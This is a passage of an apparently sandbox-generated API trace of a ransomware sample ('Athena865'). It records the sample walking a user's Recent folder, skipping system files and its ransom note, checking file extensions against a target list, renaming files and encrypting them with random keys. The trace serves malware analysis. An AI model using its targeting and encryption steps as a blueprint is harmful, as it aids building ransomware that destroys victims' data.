0x52d660 [0052.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.597] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.597] CloseHandle (hObject=0x154) returned 1 [0052.597] CloseHandle (hObject=0x17c) returned 1 [0052.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.600] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2b2660, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xaf2b2660, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xaf2d87c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xf3b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ioqoZduRZvHk.lnk", cAlternateFileName="IOQOZD~1.LNK")) returned 1 [0052.600] lstrcmpiW (lpString1="ioqoZduRZvHk.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0052.600] lstrcmpiW (lpString1="ioqoZduRZvHk.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.600] lstrcmpiW (lpString1="ioqoZduRZvHk.lnk", lpString2=".") returned 1 [0052.601] lstrcmpiW (lpString1="ioqoZduRZvHk.lnk", lpString2="..") returned 1 [0052.601] lstrcmpiW (lpString1="ioqoZduRZvHk.lnk", lpString2="windows") returned -1 [0052.601] lstrcmpiW (lpString1="ioqoZduRZvHk.lnk", lpString2="bootmgr") returned 1 [0052.601] lstrcmpiW (lpString1="ioqoZduRZvHk.lnk", lpString2="temp") returned -1 [0052.601] lstrcmpiW (lpString1="ioqoZduRZvHk.lnk", lpString2="pagefile.sys") returned -1 [0052.601] lstrcmpiW (lpString1="ioqoZduRZvHk.lnk", lpString2="boot") returned 1 [0052.601] lstrcmpiW (lpString1="ioqoZduRZvHk.lnk", lpString2="ids.txt") returned 1 [0052.601] lstrcmpiW (lpString1="ioqoZduRZvHk.lnk", lpString2="ntuser.dat") returned -1 [0052.601] lstrcmpiW (lpString1="ioqoZduRZvHk.lnk", lpString2="perflogs") returned -1 [0052.601] lstrcmpiW (lpString1="ioqoZduRZvHk.lnk", lpString2="MSBuild") returned -1 [0052.601] lstrlenW (lpString="ioqoZduRZvHk.lnk") returned 16 [0052.601] lstrcpyW (in: lpString1=0x241e8b4, lpString2="ioqoZduRZvHk.lnk" | out: lpString1="ioqoZduRZvHk.lnk") returned="ioqoZduRZvHk.lnk" [0052.601] lstrlenW (lpString="ioqoZduRZvHk.lnk") returned 16 [0052.601] lstrlenW (lpString="Athena865") returned 9 [0052.601] lstrcmpiW (lpString1="RZvHk.lnk", lpString2="Athena865") returned 1 [0052.601] lstrlenW (lpString=".dll") returned 4 [0052.601] lstrcmpiW (lpString1="ioqoZduRZvHk.lnk", lpString2=".dll") returned 1 [0052.601] lstrlenW (lpString=".lnk") returned 4 [0052.601] lstrcmpiW (lpString1="ioqoZduRZvHk.lnk", lpString2=".lnk") returned 1 [0052.601] lstrlenW (lpString=".ini") returned 4 [0052.601] lstrcmpiW (lpString1="ioqoZduRZvHk.lnk", lpString2=".ini") returned 1 [0052.601] lstrlenW (lpString=".sys") returned 4 [0052.601] lstrcmpiW (lpString1="ioqoZduRZvHk.lnk", lpString2=".sys") returned 1 [0052.601] lstrlenW (lpString="ioqoZduRZvHk.lnk") returned 16 [0052.601] lstrlenW (lpString="bak") returned 3 [0052.601] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.601] lstrlenW (lpString="ba_") returned 3 [0052.601] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.601] lstrlenW (lpString="dbb") returned 3 [0052.601] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.601] lstrlenW (lpString="vmdk") returned 4 [0052.601] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.601] lstrlenW (lpString="rar") returned 3 [0052.601] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.602] lstrlenW (lpString="zip") returned 3 [0052.602] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.602] lstrlenW (lpString="tgz") returned 3 [0052.602] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.602] lstrlenW (lpString="vbox") returned 4 [0052.602] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.602] lstrlenW (lpString="vdi") returned 3 [0052.602] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.602] lstrlenW (lpString="vhd") returned 3 [0052.602] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.602] lstrlenW (lpString="vhdx") returned 4 [0052.602] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.602] lstrlenW (lpString="avhd") returned 4 [0052.602] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.602] lstrlenW (lpString="db") returned 2 [0052.602] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.602] lstrlenW (lpString="db2") returned 3 [0052.602] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.602] lstrlenW (lpString="db3") returned 3 [0052.602] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.602] lstrlenW (lpString="dbf") returned 3 [0052.602] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.602] lstrlenW (lpString="mdf") returned 3 [0052.602] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.602] lstrlenW (lpString="mdb") returned 3 [0052.602] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.602] lstrlenW (lpString="sql") returned 3 [0052.602] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.602] lstrlenW (lpString="sqlite") returned 6 [0052.602] lstrcmpiW (lpString1="Hk.lnk", lpString2="sqlite") returned -1 [0052.602] lstrlenW (lpString="sqlite3") returned 7 [0052.602] lstrcmpiW (lpString1="vHk.lnk", lpString2="sqlite3") returned 1 [0052.602] lstrlenW (lpString="sqlitedb") returned 8 [0052.602] lstrcmpiW (lpString1="ZvHk.lnk", lpString2="sqlitedb") returned 1 [0052.602] lstrlenW (lpString="xml") returned 3 [0052.602] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.603] lstrlenW (lpString="$er") returned 3 [0052.603] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.603] lstrlenW (lpString="4dd") returned 3 [0052.603] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.603] lstrlenW (lpString="4dl") returned 3 [0052.603] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.603] lstrlenW (lpString="^^^") returned 3 [0052.603] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.603] lstrlenW (lpString="abs") returned 3 [0052.603] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.603] lstrlenW (lpString="abx") returned 3 [0052.603] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.603] lstrlenW (lpString="accdb") returned 5 [0052.603] lstrcmpiW (lpString1="k.lnk", lpString2="accdb") returned 1 [0052.603] lstrlenW (lpString="accdc") returned 5 [0052.603] lstrcmpiW (lpString1="k.lnk", lpString2="accdc") returned 1 [0052.603] lstrlenW (lpString="accde") returned 5 [0052.603] lstrcmpiW (lpString1="k.lnk", lpString2="accde") returned 1 [0052.603] lstrlenW (lpString="accdr") returned 5 [0052.603] lstrcmpiW (lpString1="k.lnk", lpString2="accdr") returned 1 [0052.603] lstrlenW (lpString="accdt") returned 5 [0052.603] lstrcmpiW (lpString1="k.lnk", lpString2="accdt") returned 1 [0052.603] lstrlenW (lpString="accdw") returned 5 [0052.603] lstrcmpiW (lpString1="k.lnk", lpString2="accdw") returned 1 [0052.603] lstrlenW (lpString="accft") returned 5 [0052.603] lstrcmpiW (lpString1="k.lnk", lpString2="accft") returned 1 [0052.603] lstrlenW (lpString="adb") returned 3 [0052.603] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.603] lstrlenW (lpString="adb") returned 3 [0052.603] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.603] lstrlenW (lpString="ade") returned 3 [0052.603] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.603] lstrlenW (lpString="adf") returned 3 [0052.603] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.603] lstrlenW (lpString="adn") returned 3 [0052.604] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.604] lstrlenW (lpString="adp") returned 3 [0052.604] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.604] lstrlenW (lpString="alf") returned 3 [0052.604] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.604] lstrlenW (lpString="ask") returned 3 [0052.604] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.604] lstrlenW (lpString="btr") returned 3 [0052.604] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.604] lstrlenW (lpString="cat") returned 3 [0052.604] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.604] lstrlenW (lpString="cdb") returned 3 [0052.604] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.604] lstrlenW (lpString="ckp") returned 3 [0052.604] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.604] lstrlenW (lpString="cma") returned 3 [0052.604] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.604] lstrlenW (lpString="cpd") returned 3 [0052.604] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.604] lstrlenW (lpString="dacpac") returned 6 [0052.604] lstrcmpiW (lpString1="Hk.lnk", lpString2="dacpac") returned 1 [0052.604] lstrlenW (lpString="dad") returned 3 [0052.604] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.604] lstrlenW (lpString="dadiagrams") returned 10 [0052.604] lstrcmpiW (lpString1="uRZvHk.lnk", lpString2="dadiagrams") returned 1 [0052.604] lstrlenW (lpString="daschema") returned 8 [0052.604] lstrcmpiW (lpString1="ZvHk.lnk", lpString2="daschema") returned 1 [0052.604] lstrlenW (lpString="db-journal") returned 10 [0052.604] lstrcmpiW (lpString1="uRZvHk.lnk", lpString2="db-journal") returned 1 [0052.604] lstrlenW (lpString="db-shm") returned 6 [0052.604] lstrcmpiW (lpString1="Hk.lnk", lpString2="db-shm") returned 1 [0052.604] lstrlenW (lpString="db-wal") returned 6 [0052.604] lstrcmpiW (lpString1="Hk.lnk", lpString2="db-wal") returned 1 [0052.604] lstrlenW (lpString="dbc") returned 3 [0052.605] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.605] lstrlenW (lpString="dbs") returned 3 [0052.605] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.605] lstrlenW (lpString="dbt") returned 3 [0052.605] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.605] lstrlenW (lpString="dbv") returned 3 [0052.605] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.605] lstrlenW (lpString="dbx") returned 3 [0052.605] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.605] lstrlenW (lpString="dcb") returned 3 [0052.605] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.605] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ioqoZduRZvHk.lnk.Athena865") returned 80 [0052.605] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ioqoZduRZvHk.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\ioqozdurzvhk.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ioqoZduRZvHk.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\ioqozdurzvhk.lnk.athena865"), dwFlags=0x1) returned 1 [0052.607] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ioqoZduRZvHk.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\ioqozdurzvhk.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.609] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3899) returned 1 [0052.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.610] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.611] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.611] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.611] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1240, lpName=0x0) returned 0x154 [0052.611] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1240) returned 0x100000 [0052.612] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.612] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.612] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.613] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.613] CloseHandle (hObject=0x154) returned 1 [0052.613] CloseHandle (hObject=0x17c) returned 1 [0052.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.614] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb19d3000, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb19d3000, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb19d3000, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IT45DE3gy.lnk", cAlternateFileName="IT45DE~1.LNK")) returned 1 [0052.614] lstrcmpiW (lpString1="IT45DE3gy.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0052.614] lstrcmpiW (lpString1="IT45DE3gy.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.614] lstrcmpiW (lpString1="IT45DE3gy.lnk", lpString2=".") returned 1 [0052.614] lstrcmpiW (lpString1="IT45DE3gy.lnk", lpString2="..") returned 1 [0052.614] lstrcmpiW (lpString1="IT45DE3gy.lnk", lpString2="windows") returned -1 [0052.614] lstrcmpiW (lpString1="IT45DE3gy.lnk", lpString2="bootmgr") returned 1 [0052.614] lstrcmpiW (lpString1="IT45DE3gy.lnk", lpString2="temp") returned -1 [0052.614] lstrcmpiW (lpString1="IT45DE3gy.lnk", lpString2="pagefile.sys") returned -1 [0052.614] lstrcmpiW (lpString1="IT45DE3gy.lnk", lpString2="boot") returned 1 [0052.614] lstrcmpiW (lpString1="IT45DE3gy.lnk", lpString2="ids.txt") returned 1 [0052.615] lstrcmpiW (lpString1="IT45DE3gy.lnk", lpString2="ntuser.dat") returned -1 [0052.615] lstrcmpiW (lpString1="IT45DE3gy.lnk", lpString2="perflogs") returned -1 [0052.615] lstrcmpiW (lpString1="IT45DE3gy.lnk", lpString2="MSBuild") returned -1 [0052.615] lstrlenW (lpString="IT45DE3gy.lnk") returned 13 [0052.615] lstrcpyW (in: lpString1=0x241e8b4, lpString2="IT45DE3gy.lnk" | out: lpString1="IT45DE3gy.lnk") returned="IT45DE3gy.lnk" [0052.615] lstrlenW (lpString="IT45DE3gy.lnk") returned 13 [0052.615] lstrlenW (lpString="Athena865") returned 9 [0052.615] lstrcmpiW (lpString1="DE3gy.lnk", lpString2="Athena865") returned 1 [0052.615] lstrlenW (lpString=".dll") returned 4 [0052.615] lstrcmpiW (lpString1="IT45DE3gy.lnk", lpString2=".dll") returned 1 [0052.615] lstrlenW (lpString=".lnk") returned 4 [0052.615] lstrcmpiW (lpString1="IT45DE3gy.lnk", lpString2=".lnk") returned 1 [0052.615] lstrlenW (lpString=".ini") returned 4 [0052.615] lstrcmpiW (lpString1="IT45DE3gy.lnk", lpString2=".ini") returned 1 [0052.615] lstrlenW (lpString=".sys") returned 4 [0052.615] lstrcmpiW (lpString1="IT45DE3gy.lnk", lpString2=".sys") returned 1 [0052.615] lstrlenW (lpString="IT45DE3gy.lnk") returned 13 [0052.615] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\IT45DE3gy.lnk.Athena865") returned 77 [0052.615] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\IT45DE3gy.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\it45de3gy.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\IT45DE3gy.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\it45de3gy.lnk.athena865"), dwFlags=0x1) returned 1 [0052.616] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\IT45DE3gy.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\it45de3gy.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.616] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1005) returned 1 [0052.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.617] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.617] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.617] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.618] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6f0, lpName=0x0) returned 0x154 [0052.618] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6f0) returned 0x100000 [0052.618] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.618] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.619] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.619] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.619] CloseHandle (hObject=0x154) returned 1 [0052.619] CloseHandle (hObject=0x17c) returned 1 [0052.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.621] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10e5d80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb10e5d80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb10e5d80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JB7yzTWIUGM3Q.lnk", cAlternateFileName="JB7YZT~1.LNK")) returned 1 [0052.621] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0052.621] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.621] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.lnk", lpString2=".") returned 1 [0052.621] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.lnk", lpString2="..") returned 1 [0052.621] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.lnk", lpString2="windows") returned -1 [0052.621] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.lnk", lpString2="bootmgr") returned 1 [0052.621] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.lnk", lpString2="temp") returned -1 [0052.621] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.lnk", lpString2="pagefile.sys") returned -1 [0052.621] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.lnk", lpString2="boot") returned 1 [0052.621] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.lnk", lpString2="ids.txt") returned 1 [0052.621] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.lnk", lpString2="ntuser.dat") returned -1 [0052.621] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.lnk", lpString2="perflogs") returned -1 [0052.621] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.lnk", lpString2="MSBuild") returned -1 [0052.621] lstrlenW (lpString="JB7yzTWIUGM3Q.lnk") returned 17 [0052.621] lstrcpyW (in: lpString1=0x241e8b4, lpString2="JB7yzTWIUGM3Q.lnk" | out: lpString1="JB7yzTWIUGM3Q.lnk") returned="JB7yzTWIUGM3Q.lnk" [0052.621] lstrlenW (lpString="JB7yzTWIUGM3Q.lnk") returned 17 [0052.621] lstrlenW (lpString="Athena865") returned 9 [0052.621] lstrcmpiW (lpString1="UGM3Q.lnk", lpString2="Athena865") returned 1 [0052.621] lstrlenW (lpString=".dll") returned 4 [0052.621] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.lnk", lpString2=".dll") returned 1 [0052.621] lstrlenW (lpString=".lnk") returned 4 [0052.621] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.lnk", lpString2=".lnk") returned 1 [0052.621] lstrlenW (lpString=".ini") returned 4 [0052.621] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.lnk", lpString2=".ini") returned 1 [0052.621] lstrlenW (lpString=".sys") returned 4 [0052.621] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.lnk", lpString2=".sys") returned 1 [0052.622] lstrlenW (lpString="JB7yzTWIUGM3Q.lnk") returned 17 [0052.622] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\JB7yzTWIUGM3Q.lnk.Athena865") returned 81 [0052.622] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\JB7yzTWIUGM3Q.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\jb7yztwiugm3q.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\JB7yzTWIUGM3Q.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\jb7yztwiugm3q.lnk.athena865"), dwFlags=0x1) returned 1 [0052.622] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\JB7yzTWIUGM3Q.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js 